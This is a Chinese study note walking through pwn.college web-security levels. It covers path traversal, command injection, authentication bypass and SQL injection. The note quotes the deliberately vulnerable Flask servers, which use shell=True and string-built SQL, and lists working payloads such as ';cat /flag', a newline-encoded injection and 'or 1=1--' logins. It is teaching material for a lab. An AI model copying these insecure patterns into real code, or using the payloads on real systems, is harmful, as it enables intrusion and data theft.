loading

【笔记】pwn.college之Intro to Cybersecurity(pwn.college)

Web Security Web安全

Path Traversal 1 路径遍历1

这一关卡将探讨Linux路径解析与攻击者意外web请求的交集。 我们已经为您启动了一个简单的web服务器——它将通过HTTP协议提供来自/challenge/files的文件。 你能让它给你flag吗?

web服务器程序是 /challenge/server 。 你可以像其他任何挑战一样运行它,然后通过HTTP(使用不同的终端或web浏览器)与它通信。 我们建议通读它的代码,以理解它在做什么并找到弱点!


提示: 如果你想知道为什么你的解决方案不起作用,请确保你尝试查询的是服务器实际接收到的内容! curl -v [url] 可以显示curl发送的确切字节数。

查看解析
按照题目提示首先在/challenge目录下启动http服务
./server
然后打开浏览器即可访问`challenge.localhost`
我们进行路径遍历`challenge.localhost/../../flag`
但是失败了,要经过URL编码才行:`challenge.localhost/..%2F..%2Fflag`
`/challenge/server`代码分析
#!/opt/pwn.college/python

import flask  # 导入 Flask 框架
import os     # 导入 os 模块以进行文件和路径操作

app = flask.Flask(__name__)  # 创建一个 Flask 应用实例

@app.route("/", methods=["GET", "POST"])  # 定义根路由,支持 GET 和 POST 请求
@app.route("/<path:path>", methods=["GET", "POST"])  # 定义动态路由,支持 GET 和 POST 请求
def challenge(path="index.html"):  # 默认访问 index.html
    # 生成请求的完整文件路径,files 目录下
    requested_path = app.root_path + "/files/" + path
    print(f"DEBUG: {requested_path=}")  # 调试输出请求的文件路径

    try:
        # 尝试打开并读取指定路径的文件
        return open(requested_path).read()
    except PermissionError:
        # 如果权限错误,返回 403 Forbidden
        flask.abort(403, requested_path)
    except FileNotFoundError:
        # 如果文件未找到,返回 404 Not Found
        flask.abort(404, f"No {requested_path} from directory {os.getcwd()}")
    except Exception as e:
        # 对于其他异常,返回 500 Internal Server Error
        flask.abort(500, requested_path + ":" + str(e))

# 生成一个随机的秘密密钥,用于 Flask 的会话管理
app.secret_key = os.urandom(8)
# 设置服务器名称和端口
app.config['SERVER_NAME'] = f"challenge.localhost:80"
# 启动 Flask 应用,绑定到指定的主机和端口
app.run("challenge.localhost", 80)

Path Traversal 2 路径遍历2

上一关的路径遍历发生的原因是:

  1. 开发人员不知道攻击者可能发送到他们的应用程序的真实潜在输入范围(例如,攻击者发送路径中具有特殊含义的字符的概念)。
  2. 这是开发人员的意图(只希望提供给用户 /challenge/files 目录下的文件)与文件系统的实际情况(路径可以“返回”到目录级别)之间存在差距。

此关卡试图阻止您遍历路径,但以某种方式清楚地表明开发人员进一步缺乏对路径真正棘手的理解。你还能穿越它吗?

查看解析
cd /challenge
./server
`challenge.localhost/fortunes/..%2F..%2F..%2Fflag`

/challenge/server代码分析

# 生成请求的完整文件路径,文件位于 files 目录下
    requested_path = app.root_path + "/files/" + path.strip("/.")  # 去除路径中的 / 和 . 防止路径遍历

challenge.localhost/fortunes/..%2F..%2F..%2Fflag 实际上可能解析为 files/fortunes/../../../flag。由于 fortunes 目录存在,路径解析会先进入这个目录,再进行向上移动,最终指向 flag 文件。

challenge.localhost/..%2F..%2Fflag 则直接尝试从应用根目录向上移动,因此可能会因为没有足够的权限或路径不合法而被阻止。

CMDi 1 命令执行漏洞1

现在,想象一下 Web 服务器和文件系统之间的这些安全问题比这更疯狂。Web 服务器和整个 Linux shell 之间的交互情况如何?

令人沮丧的是,开发人员经常依赖命令行 shell 来帮助完成复杂的操作。在这些情况下,Web 服务器将执行 Linux 命令并在其操作中使用该命令的结果(例如,一个常见的用例是促进图像处理的 Imagemagick 命令套件)。不同的语言有不同的方法来实现这一点(Python 中最简单的方法是 os.system,但我们主要与更高级的 subprocess.check_output交互),但几乎所有语言都存在命令注入的风险。

os.system 是 Python 的 os 模块中的一个函数,用于在 Python 程序中执行外部命令。它会在子终端中运行指定的命令,并返回命令的退出状态码,但不会捕获命令的输出。

subprocess.check_output 是 Python 的 subprocess 模块中的一个函数,用于执行外部命令并获取其输出。该函数会运行指定的命令,并返回命令的标准输出(stdout),如果命令执行失败(即返回非零状态码),则会抛出 CalledProcessError 异常。

在路径遍历中,攻击者发送了一个意外的字符 (.),导致文件系统执行了一些开发人员意想不到的事情(查看父目录)。同样,shell 中充满了特殊字符,这些字符会导致开发人员无意中的影响,并且开发人员的意图与 shell (或者,在以前的挑战中,文件系统) 所做的事情之间的差距存在各种安全问题。

例如,请考虑以下运行 shell 命令的 Python 代码段:

os.system(f"echo Hello {word}")

开发人员显然希望用户发送类似 Hackers 的内容,结果是类似于命令 echo Hello Hackers 的内容。但黑客可能会发送代码未明确阻止的任何内容。回想一下你在 Linux LuminariumChaining 模块中学到的内容:如果黑客发送了包含 ;的东西怎么办?

在这个关卡中,我们将探索这个确切的概念。看看你是否能欺骗关卡并得到flag!

查看解析
打开网站发现是一个输入框,输入的内容会使主机执行`ls -l <你的输入>`的命令,说明这输入框拥有使用shell执行命令的权限
对此我们可以进行命令串联来使其执行我们想执行的指令
`/flag;cat /flag`

/challenge/server代码分析

#!/opt/pwn.college/python

import subprocess  # 导入 subprocess 模块,用于执行外部命令
import flask       # 导入 Flask 框架,用于构建 web 应用
import os          # 导入 os 模块,以进行系统操作和环境管理

app = flask.Flask(__name__)  # 创建一个 Flask 应用实例

@app.route("/", methods=["GET", "POST"])  # 定义根路由,支持 GET 和 POST 请求
def challenge():
    # 从请求中获取 "directory" 参数,默认为 "/challenge"
    directory = flask.request.args.get("directory", "/challenge")
    
    # 构造要执行的命令
    command = f"ls -l {directory}"  # 列出指定目录的文件和详细信息
    print(f"DEBUG: {command=}")  # 调试输出构造的命令

    # 使用 subprocess.run 执行命令,并捕获输出
    listing = subprocess.run(
        command,                    # 要执行的命令
        shell=True,                 # 使用 shell 来执行命令
        stdout=subprocess.PIPE,     # 捕获标准输出
        stderr=subprocess.STDOUT,   # 将标准错误重定向到标准输出
        encoding="latin"            # 以指定编码捕获输出,转为文本
    ).stdout  # 获取命令的输出

    # 返回 HTML 格式的响应,包含表单和命令输出
    return f"""
        <html><body>
        Welcome to the dirlister service! Please choose a directory to list the files of:
        <form><input type=text name=directory><input type=submit value=Submit></form>
        <hr>
        <b>Output of: ls -l {directory}</b><br>
        <pre>{listing}</pre>
        </body></html>
        """

# 设置用户ID为当前有效用户ID,以限制权限
os.setuid(os.geteuid())
# 设置环境变量 PATH,确保命令可以在指定目录中查找
os.environ["PATH"] = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# 生成一个随机的秘密密钥,用于 Flask 的会话管理
app.secret_key = os.urandom(8)
# 设置服务器名称和端口
app.config['SERVER_NAME'] = f"challenge.localhost:80"
# 启动 Flask 应用,绑定到指定的主机和端口
app.run("challenge.localhost", 80)

CMDi 2 命令执行漏洞2

许多开发人员都知道命令注入之类的事情,并试图阻止它。在这个关卡中,你不能使用 ;!你能想到另一种 command-inject 的方法吗?回想一下您在 Linux LuminariumPiping 模块中学到的内容...

查看解析
用管道符即可
`/flag | cat /flag`

/challenge/server代码分析

# 从请求的查询参数中获取 "directory" 的值,默认为 "/challenge"
# 使用 replace 方法移除输入中的分号,以防止命令注入攻击
directory = flask.request.args.get("directory", "/challenge").replace(";", "")

CMDi 3 命令执行漏洞3

命令注入的一个有趣之处在于,您无法选择在命令中发生注入的位置:开发人员在编写程序时不小心为您做出了选择。有时,这些注射发生在不舒服的地方。请考虑以下事项:

os.system(f"echo Hello '{word}'")

在这里,开发人员试图向 shell 传达 word 实际上应该只有一个单词。当在单引号中给出参数时,shell 会将其他特殊字符(如 ;$ 等)视为普通字符,直到它匹配到右单引号 (')。

此关卡为您提供此方案。你能绕过它吗?


提示:请记住,无论您注入的任何内容的末尾都会有一个 ' 字符。在 shell 中,所有引号必须与合作伙伴匹配,否则命令无效。确保制作你的注入,以便生成的命令有效!

查看解析
我们用两个单引号对限制进行闭合
`';cat /flag; echo '`

/challenge/server代码分析

command = f"ls -l '{directory}'"	# 列出指定目录的文件和详细信息,但加上了',这是为了保护路径中可能包含的空格或特殊字符(如&、$等),确保它们被视为一个整体参数

CMDi 4 命令执行漏洞4

调用 shell 命令来执行工作,或通常所说的 “shelling out” 是危险的。shell 命令的任何部分都有可能被注入!在这个关卡中,我们将练习注入到一个略有不同的命令中。

查看解析
`;cat /flag`

/challenge/server代码分析

#!/opt/pwn.college/python

import subprocess  # 导入 subprocess 模块,用于执行外部命令
import flask       # 导入 Flask 框架,用于构建 web 应用
import os          # 导入 os 模块,以进行系统操作和环境管理

app = flask.Flask(__name__)  # 创建一个 Flask 应用实例

@app.route("/", methods=["GET", "POST"])  # 定义根路由,支持 GET 和 POST 请求
def challenge():
    # 从请求的查询参数中获取 "timezone" 的值,默认为 "MST"
    timezone = flask.request.args.get("timezone", "MST")
    
    # 构造要执行的命令,设置时区并获取当前时间
    command = f"TZ={timezone} date"
    print(f"DEBUG: {command=}")  # 调试输出构造的命令

    # 使用 subprocess.run 执行命令,并捕获输出
    result = subprocess.run(
        command,                    # 要执行的命令
        shell=True,                 # 使用 shell 来执行命令
        stdout=subprocess.PIPE,     # 捕获标准输出
        stderr=subprocess.STDOUT,   # 将标准错误重定向到标准输出
        encoding="latin"            # 以指定编码捕获输出,转为文本
    )

    # 返回 HTML 格式的响应,包含表单和命令输出
    return f"""
        <html><body>
        Welcome to the timezone service! Please choose a timezone to get the time there.
        <form><input type=text name=timezone><input type=submit value=Submit></form>
        <hr>
        <b>Output of: TZ={timezone} date</b><br>
        <pre>{result.stdout}</pre>
        </body></html>
        """

# 设置用户ID为当前有效用户ID,以限制权限
os.setuid(os.geteuid())
# 设置环境变量 PATH,确保命令可以在指定目录中查找
os.environ["PATH"] = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# 生成一个随机的秘密密钥,用于 Flask 的会话管理
app.secret_key = os.urandom(8)
# 设置服务器名称和端口
app.config['SERVER_NAME'] = f"challenge.localhost:80"
# 启动 Flask 应用,绑定到指定的主机和端口
app.run("challenge.localhost", 80)

CMDi 5 命令执行漏洞5

程序往往会花钱进行复杂的内部计算。这意味着您可能并不总是收到结果输出,并且您需要盲目地进行攻击。在这个关卡中尝试一下:在没有注入的命令的输出的情况下,获取flag!

查看解析
这次网页没有回显,我们将读取的flag内容保存到新文件中
`;cat /flag > /nihao`
然后直接读取
cat /nihao

/challenge/server代码分析

#!/opt/pwn.college/python

import subprocess  # 导入 subprocess 模块,用于执行外部命令
import flask       # 导入 Flask 框架,用于构建 web 应用
import os          # 导入 os 模块,以进行系统操作和环境管理

app = flask.Flask(__name__)  # 创建一个 Flask 应用实例

@app.route("/", methods=["GET", "POST"])  # 定义根路由,支持 GET 和 POST 请求
def challenge():
    # 从请求的查询参数中获取 "filepath" 的值,默认为 "/challenge"
    filepath = flask.request.args.get("filepath", "/challenge")
    
    # 构造要执行的命令,用于创建或更新文件的时间戳
    command = f"touch {filepath}"
    print(f"DEBUG: {command=}")  # 调试输出构造的命令

    # 使用 subprocess.run 执行命令
    subprocess.run(
        command,                    # 要执行的命令
        shell=True,                 # 使用 shell 来执行命令
        stdout=subprocess.PIPE,     # 捕获标准输出
        stderr=subprocess.STDOUT,   # 将标准错误重定向到标准输出
        encoding="latin"            # 以指定编码捕获输出,转为文本
    )

    # 返回 HTML 格式的响应,包含表单和命令输出
    return f"""
        <html><body>
        Welcome to the touch service! Please choose a file to touch:
        <form><input type=text name=filepath><input type=submit value=Submit></form>
        <hr>
        <b>Ran the command: touch {filepath}</b>
        </body></html>
        """

# 设置用户ID为当前有效用户ID,以限制权限
os.setuid(os.geteuid())
# 设置环境变量 PATH,确保命令可以在指定目录中查找
os.environ["PATH"] = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# 生成一个随机的秘密密钥,用于 Flask 的会话管理
app.secret_key = os.urandom(8)
# 设置服务器名称和端口
app.config['SERVER_NAME'] = f"challenge.localhost:80"
# 启动 Flask 应用,绑定到指定的主机和端口
app.run("challenge.localhost", 80)

CMDi 6 命令执行漏洞6

有时,开发人员会非常努力地筛选出具有潜在危险的角色。这次挑战的成功几乎是完美的,但并不完全是......你会难住一段时间,但当你找出解决方案时,你会嘲笑开发人员的能力!

查看解析
大部分的分隔符都被过滤了因此我们需要别的输入能使命令结束
换行符经URL编码后得到的是"%0A"
因此我们注入`%0A cat /flag`
(卡了我很久)

/challenge/server代码分析

#!/opt/pwn.college/python

import subprocess  # 导入 subprocess 模块,用于执行外部命令
import flask       # 导入 Flask 框架,用于构建 web 应用
import os          # 导入 os 模块,以进行系统操作和环境管理

app = flask.Flask(__name__)  # 创建一个 Flask 应用实例

@app.route("/", methods=["GET", "POST"])  # 定义根路由,支持 GET 和 POST 请求
def challenge():
    # 从请求的查询参数中获取 "directory" 的值,默认为 "/challenge"
    # 使用 replace 方法移除输入中的特殊字符,以防止命令注入攻击
    directory = (
        flask.request.args.get("directory", "/challenge")
        .replace(";", "")
        .replace("&", "")
        .replace("|", "")
        .replace(">", "")
        .replace("<", "")
        .replace("(", "")
        .replace(")", "")
        .replace("`", "")
        .replace("$", "")
    )
    
    # 构造要执行的命令,列出指定目录的文件
    command = f"ls -l {directory}"
    print(f"DEBUG: {command=}")  # 调试输出构造的命令

    # 使用 subprocess.run 执行命令,并捕获输出
    listing = subprocess.run(
        command,                    # 要执行的命令
        shell=True,                 # 使用 shell 来执行命令
        stdout=subprocess.PIPE,     # 捕获标准输出
        stderr=subprocess.STDOUT,   # 将标准错误重定向到标准输出
        encoding="latin"            # 以指定编码捕获输出,转为文本
    ).stdout

    # 返回 HTML 格式的响应,包含表单和命令输出
    return f"""
        <html><body>
        Welcome to the dirlister service! Please choose a directory to list the files of:
        <form><input type=text name=directory><input type=submit value=Submit></form>
        <hr>
        <b>Output of: ls -l {directory}</b><br>
        <pre>{listing}</pre>
        </body></html>
        """

# 设置用户ID为当前有效用户ID,以限制权限
os.setuid(os.geteuid())
# 设置环境变量 PATH,确保命令可以在指定目录中查找
os.environ["PATH"] = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# 生成一个随机的秘密密钥,用于 Flask 的会话管理
app.secret_key = os.urandom(8)
# 设置服务器名称和端口
app.config['SERVER_NAME'] = f"challenge.localhost:80"
# 启动 Flask 应用,绑定到指定的主机和端口
app.run("challenge.localhost", 80)

Authentication Bypass 1 身份验证绕过1

当然,Web 应用程序可能存在与 shell 无关的安全漏洞。一种常见的漏洞类型是 Authentication Bypass,攻击者可以绕过应用程序的典型身份验证逻辑,并在不知道必要的用户凭证的情况下登录。

此关卡别要求您探索一个这样的场景。出现这种特定情况的原因是,开发人员的期望(应用程序设置的 URL 参数将仅由应用程序本身设置)与现实(攻击者可以制作 HTTP 请求以满足他们的内心内容)之间存在差距。

这里的目标不仅是让您体验此类漏洞是如何产生的,而且是让您熟悉数据库:Web 应用程序存储结构化数据的地方。正如您将在此关卡别中看到的,使用一种称为结构化查询语言(简称 SQL)的语言将数据存储到这些数据库中并从中读取数据。SQL 稍后将变得非常相关,但就目前而言,这只是挑战的附带部分。

无论如何,绕过此身份验证以 admin 用户身份登录并获取flag!

查看解析
根据源码所示,我们先登录guest的账号
然后修改session_user的参数即可

/challenge/server代码分析

#!/opt/pwn.college/python

import tempfile  # 用于创建临时文件
import sqlite3   # SQLite 数据库库
import flask      # Flask Web 框架
import os        # 用于访问操作系统功能

app = flask.Flask(__name__)  # 创建一个 Flask 应用实例

# TemporaryDB 类实现了一个临时数据库,用于存储数据
class TemporaryDB:
    def __init__(self):
        # 创建一个带有随机名称的临时数据库文件
        self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")

    def execute(self, sql, parameters=()):
        # 执行 SQL 查询并返回结果
        connection = sqlite3.connect(self.db_file.name)  # 连接到临时数据库
        connection.row_factory = sqlite3.Row  # 使得查询结果可以通过列名访问
        cursor = connection.cursor()  # 创建游标
        result = cursor.execute(sql, parameters)  # 执行 SQL 语句
        connection.commit()  # 提交事务
        return result  # 返回结果

db = TemporaryDB()  # 创建 TemporaryDB 实例

# 创建 users 表,初始时包含 admin 用户和随机生成的密码
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [os.urandom(8)])
# 插入 guest 用户及其密码
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")

@app.route("/", methods=["POST"])
def challenge_post():
    # 处理 POST 请求以进行用户登录
    username = flask.request.form.get("username")  # 从表单中获取用户名
    password = flask.request.form.get("password")  # 从表单中获取密码
    if not username:
        flask.abort(400, "Missing username form parameter")  # 如果没有用户名,返回错误
    if not password:
        flask.abort(400, "Missing password form parameter")  # 如果没有密码,返回错误

    # 查询数据库以验证用户名和密码
    user = db.execute("SELECT rowid, * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
    if not user:
        flask.abort(403, "Invalid username or password")  # 如果无效,返回错误

    return flask.redirect(f"""{flask.request.path}?session_user={username}""")  # 重定向到主页并传递 session_user

@app.route("/", methods=["GET"])
def challenge_get():
    # 处理 GET 请求以显示欢迎页面
    if not (username := flask.request.args.get("session_user", None)):  # 获取 session_user 参数
        page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."
    else:
        page = f"<html><body>Hello, {username}!"  # 显示用户的欢迎信息
        if username == "admin":  # 如果用户是 admin
            page += "<br>Here is your flag: " + open("/flag").read()  # 显示 flag

    # 返回 HTML 页面,包含登录表单
    return page + """
        <hr>
        <form method=post>
        User:<input type=text name=username>Pass:<input type=text name=password><input type=submit value=Submit>
        </form>
        </body></html>
    """

app.secret_key = os.urandom(8)  # 生成一个随机的 secret_key
app.config['SERVER_NAME'] = f"challenge.localhost:80"  # 设置服务器名称
app.run("challenge.localhost", 80)  # 启动 Flask 应用

Authentication Bypass 2 身份验证绕过2

身份验证绕过并不总是那么简单。有时,应用程序的逻辑可能看起来是正确的,但是,开发人员期望的真实情况与实际的真实情况之间的差距再次显现出来。试一试这个关卡,记住:你控制请求,包括发送的所有HTTP头!

查看解析
以guest身份登录后得到cookie
修改cookie值即可

/challenge/server代码分析

#!/opt/pwn.college/python

import tempfile  # 用于创建临时文件
import sqlite3   # SQLite 数据库库
import flask      # Flask Web 框架
import os        # 用于访问操作系统功能

app = flask.Flask(__name__)  # 创建一个 Flask 应用实例

# TemporaryDB 类实现了一个临时数据库,用于存储数据
class TemporaryDB:
    def __init__(self):
        # 创建一个带有随机名称的临时数据库文件
        self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")

    def execute(self, sql, parameters=()):
        # 执行 SQL 查询并返回结果
        connection = sqlite3.connect(self.db_file.name)  # 连接到临时数据库
        connection.row_factory = sqlite3.Row  # 使得查询结果可以通过列名访问
        cursor = connection.cursor()  # 创建游标
        result = cursor.execute(sql, parameters)  # 执行 SQL 语句
        connection.commit()  # 提交事务
        return result  # 返回结果

db = TemporaryDB()  # 创建 TemporaryDB 实例

# 创建 users 表,初始时包含 admin 用户和随机生成的密码
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [os.urandom(8)])
# 插入 guest 用户及其密码
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")

@app.route("/", methods=["POST"])
def challenge_post():
    # 处理 POST 请求以进行用户登录
    username = flask.request.form.get("username")  # 从表单中获取用户名
    password = flask.request.form.get("password")  # 从表单中获取密码
    if not username:
        flask.abort(400, "Missing `username` form parameter")  # 如果没有用户名,返回错误
    if not password:
        flask.abort(400, "Missing `password` form parameter")  # 如果没有密码,返回错误

    # 查询数据库以验证用户名和密码
    user = db.execute("SELECT rowid, * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
    if not user:
        flask.abort(403, "Invalid username or password")  # 如果无效,返回错误

    # 登录成功,重定向到主页并设置 session_user cookie
    response = flask.redirect(flask.request.path)
    response.set_cookie('session_user', username)  # 设置 cookie,以便在后续请求中保持用户登录状态
    return response

@app.route("/", methods=["GET"])
def challenge_get():
    # 处理 GET 请求以显示欢迎页面
    if not (username := flask.request.cookies.get("session_user", None)):  # 从 cookie 中获取 session_user 参数
        page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."
    else:
        page = f"<html><body>Hello, {username}!"  # 显示用户的欢迎信息
        if username == "admin":  # 如果用户是 admin
            page += "<br>Here is your flag: " + open("/flag").read()  # 显示 flag

    # 返回 HTML 页面,包含登录表单
    return page + """
        <hr>
        <form method=post>
        User:<input type=text name=username>Pass:<input type=text name=password><input type=submit value=Submit>
        </form>
        </body></html>
    """

app.secret_key = os.urandom(8)  # 生成一个随机的 secret_key,用于保护会话数据
app.config['SERVER_NAME'] = f"challenge.localhost:80"  # 设置服务器名称
app.run("challenge.localhost", 80)  # 启动 Flask 应用

SQLi 1 SQL注入1

当然,这种安全漏洞比比皆是! 例如,在这个关卡上,登录用户的规范实际上是安全的。 这个关卡使用的不是参数或原始cookie,而是你无法篡改的加密会话cookie。 因此,你的任务是让应用程序真正验证你的管理员身份!

幸运的是,正如该关卡的名称所示,该应用程序容易受到SQL注入的攻击。 从概念上讲,SQL注入之于SQL就像命令注入之于shell。 在命令注入中,应用程序组装了一个命令字符串,开发人员的意图和命令shell的实际功能之间的差距使攻击者能够执行攻击者意想不到的操作。 SQL注入也是一样的:开发人员构建应用程序来生成针对特定目标的SQL查询,但由于应用程序逻辑组装这些查询的方式,当数据库执行SQL查询时,从安全角度来看可能是灾难性的。

命令注入并没有一个明确的解决方案:shell是一项古老的技术,与shell的接口在几十年前就已经僵化了,很难改变。 SQL在某种程度上更加灵活,而且大多数数据库现在提供的接口非常抵制SQL注入。 事实上,身份验证旁路关卡使用了这样的接口:它们非常容易受到攻击,但不会受到SQL注入的攻击。

另一方面,这个关卡是可注入SQL的,因为它有意使用略有不同的方式进行SQL查询。 当你找到可以注入输入的SQL查询时(提示:这是唯一一个与上一关卡有本质区别的SQL查询),看看现在的查询是什么样子,以及可能会注入哪些意想不到的条件。 典型的SQL注入添加了一个条件,使应用程序可以在不知道密码的情况下成功。 如何才能做到这一点呢?

查看解析
看源码可以看出是很纯粹的数字型SQL注入(密码是PIN码,通常由四位或更多数字组成)
我们构造登录payload`1234 or 1=1--+`
`/challenge/server`代码分析
#!/opt/pwn.college/python

import tempfile  # 用于创建临时文件
import sqlite3   # SQLite 数据库库
import random    # 用于生成随机数
import flask      # Flask Web 框架
import os        # 用于访问操作系统功能

app = flask.Flask(__name__)  # 创建一个 Flask 应用实例

# TemporaryDB 类实现了一个临时数据库,用于存储数据
class TemporaryDB:
    def __init__(self):
        # 创建一个带有随机名称的临时数据库文件
        self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")

    def execute(self, sql, parameters=()):
        # 执行 SQL 查询并返回结果
        connection = sqlite3.connect(self.db_file.name)  # 连接到临时数据库
        connection.row_factory = sqlite3.Row  # 使得查询结果可以通过列名访问
        cursor = connection.cursor()  # 创建游标
        result = cursor.execute(sql, parameters)  # 执行 SQL 语句
        connection.commit()  # 提交事务
        return result  # 返回结果

db = TemporaryDB()  # 创建 TemporaryDB 实例

# 创建 users 表,初始时包含 admin 用户和一个随机生成的 PIN
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as pin""", [random.randrange(2**32, 2**63)])
# 插入 guest 用户及其 PIN
db.execute("""INSERT INTO users SELECT "guest" as username, 1337 as pin""")

@app.route("/", methods=["POST"])
def challenge_post():
    # 处理 POST 请求以进行用户登录
    username = flask.request.form.get("username")  # 从表单中获取用户名
    pin = flask.request.form.get("pin")  # 从表单中获取 PIN
    if not username:
        flask.abort(400, "Missing `username` form parameter")  # 如果没有用户名,返回错误
    if not pin:
        flask.abort(400, "Missing `pin` form parameter")  # 如果没有 PIN,返回错误
    
    # 验证 PIN 的首字符是否为数字
    if pin[0] not in "0123456789":
        flask.abort(400, "Invalid pin")

    try:
        # 使用字符串格式化构建 SQL 查询
        query = f'SELECT rowid, * FROM users WHERE username = "{username}" AND pin = {pin}'
        print(f"DEBUG: {query=}")  # 输出调试信息
        user = db.execute(query).fetchone()  # 执行查询并获取结果
    except sqlite3.Error as e:
        flask.abort(500, f"Query: {query}\nError: {e}")  # 捕获并返回 SQL 错误

    if not user:
        flask.abort(403, "Invalid username or pin")  # 如果无效,返回错误

    flask.session["user"] = username  # 登录成功,将用户名存入会话
    return flask.redirect(flask.request.path)  # 重定向到主页

@app.route("/", methods=["GET"])
def challenge_get():
    # 处理 GET 请求以显示欢迎页面
    if not (username := flask.session.get("user", None)):  # 从会话中获取用户名
        page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."
    else:
        page = f"<html><body>Hello, {username}!"  # 显示用户的欢迎信息
        if username == "admin":  # 如果用户是 admin
            page += "<br>Here is your flag: " + open("/flag").read()  # 显示 flag

    # 返回 HTML 页面,包含登录表单
    return page + """
        <hr>
        <form method=post>
        User:<input type=text name=username>PIN:<input type=text name=pin><input type=submit value=Submit>
        </form>
        </body></html>
    """

app.secret_key = os.urandom(8)  # 生成一个随机的 secret_key,用于保护会话数据
app.config['SERVER_NAME'] = f"challenge.localhost:80"  # 设置服务器名称
app.run("challenge.localhost", 80)  # 启动 Flask 应用

SQLi 2 SQL注入2

上一关的SQL注入非常简单,并且仍然有有效的SQL查询。 这在某种程度上是因为注入发生在查询的最后。 然而,在这一关中,注入发生在中途,然后有(稍微)更多的SQL查询。 这使得问题变得复杂,因为即使注入了数据,查询也必须保持有效。

查看解析
看源码可以看出是很纯粹的字符型SQL注入
我们构造登录payload`1234' or 1=1--+`
`/challenge/server`代码分析
#!/opt/pwn.college/python

import tempfile  # 用于创建临时文件
import sqlite3   # SQLite 数据库库
import flask      # Flask Web 框架
import os        # 用于访问操作系统功能

app = flask.Flask(__name__)  # 创建一个 Flask 应用实例

# TemporaryDB 类实现了一个临时数据库,用于存储数据
class TemporaryDB:
    def __init__(self):
        # 创建一个带有随机名称的临时数据库文件
        self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")

    def execute(self, sql, parameters=()):
        # 执行 SQL 查询并返回结果
        connection = sqlite3.connect(self.db_file.name)  # 连接到临时数据库
        connection.row_factory = sqlite3.Row  # 使得查询结果可以通过列名访问
        cursor = connection.cursor()  # 创建游标
        result = cursor.execute(sql, parameters)  # 执行 SQL 语句
        connection.commit()  # 提交事务
        return result  # 返回结果

db = TemporaryDB()  # 创建 TemporaryDB 实例

# 创建 users 表,初始时包含 admin 用户和一个随机生成的密码
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [os.urandom(8)])
# 插入 guest 用户及其密码
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")

@app.route("/", methods=["POST"])
def challenge_post():
    # 处理 POST 请求以进行用户登录
    username = flask.request.form.get("username")  # 从表单中获取用户名
    password = flask.request.form.get("password")  # 从表单中获取密码
    if not username:
        flask.abort(400, "Missing `username` form parameter")  # 如果没有用户名,返回错误
    if not password:
        flask.abort(400, "Missing `password` form parameter")  # 如果没有密码,返回错误

    try:
        # 使用字符串格式化构建 SQL 查询
        query = f"SELECT rowid, * FROM users WHERE username = '' AND password = '{password}'"
        print(f"DEBUG: {query=}")  # 输出调试信息
        user = db.execute(query).fetchone()  # 执行查询并获取结果
    except sqlite3.Error as e:
        flask.abort(500, f"Query: {query}\nError: {e}")  # 捕获并返回 SQL 错误

    if not user:
        flask.abort(403, "Invalid username or password")  # 如果无效,返回错误

    flask.session["user"] = username  # 登录成功,将用户名存入会话
    return flask.redirect(flask.request.path)  # 重定向到主页

@app.route("/", methods=["GET"])
def challenge_get():
    # 处理 GET 请求以显示欢迎页面
    if not (username := flask.session.get("user", None)):  # 从会话中获取用户名
        page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."
    else:
        page = f"<html><body>Hello, {username}!"  # 显示用户的欢迎信息
        if username == "admin":  # 如果用户是 admin
            page += "<br>Here is your flag: " + open("/flag").read()  # 显示 flag

    # 返回 HTML 页面,包含登录表单
    return page + """
        <hr>
        <form method=post>
        User:<input type=text name=username>Pass:<input type=text name=password><input type=submit value=Submit>
        </form>
        </body></html>
    """

app.secret_key = os.urandom(8)  # 生成一个随机的 secret_key,用于保护会话数据
app.config['SERVER_NAME'] = f"challenge.localhost:80"  # 设置服务器名称
app.run("challenge.localhost", 80)  # 启动 Flask 应用

SQLi 3 SQL注入3

回想一下,您的命令注入漏洞攻击程序通常会导致执行额外的命令。 到目前为止,SQL注入只是简单地修改了现有SQL查询的条件。 然而,类似于shell的命令链(例如 ; , | 等),一些SQL查询也可以被链接!

攻击者链式SQL查询的能力具有极其强大的潜力。 例如,它允许攻击者查询完全意想不到的表或表中完全意想不到的字段,从而导致你在新闻中看到的大量数据泄露。

这个关卡需要你弄清楚如何链接SQL查询语句以泄露数据。 祝你好运!

查看解析
看源码可以看出我们被双引号封闭了,我们要手动闭合并注释掉双引号
我们构造搜索的payload为`" union select password from users --+`
`/challenge/server`代码分析
#!/opt/pwn.college/python

import tempfile  # 用于创建临时文件
import sqlite3   # SQLite 数据库库
import flask      # Flask Web 框架
import os        # 用于访问操作系统功能

app = flask.Flask(__name__)  # 创建一个 Flask 应用实例

# TemporaryDB 类实现了一个临时数据库,用于存储数据
class TemporaryDB:
    def __init__(self):
        # 创建一个带有随机名称的临时数据库文件
        self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")

    def execute(self, sql, parameters=()):
        # 执行 SQL 查询并返回结果
        connection = sqlite3.connect(self.db_file.name)  # 连接到临时数据库
        connection.row_factory = sqlite3.Row  # 使得查询结果可以通过列名访问
        cursor = connection.cursor()  # 创建游标
        result = cursor.execute(sql, parameters)  # 执行 SQL 语句
        connection.commit()  # 提交事务
        return result  # 返回结果

db = TemporaryDB()  # 创建 TemporaryDB 实例

# 从文件中读取 flag 作为 admin 用户的密码,并创建 users 表
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [open("/flag").read()])
# 插入 guest 用户及其密码
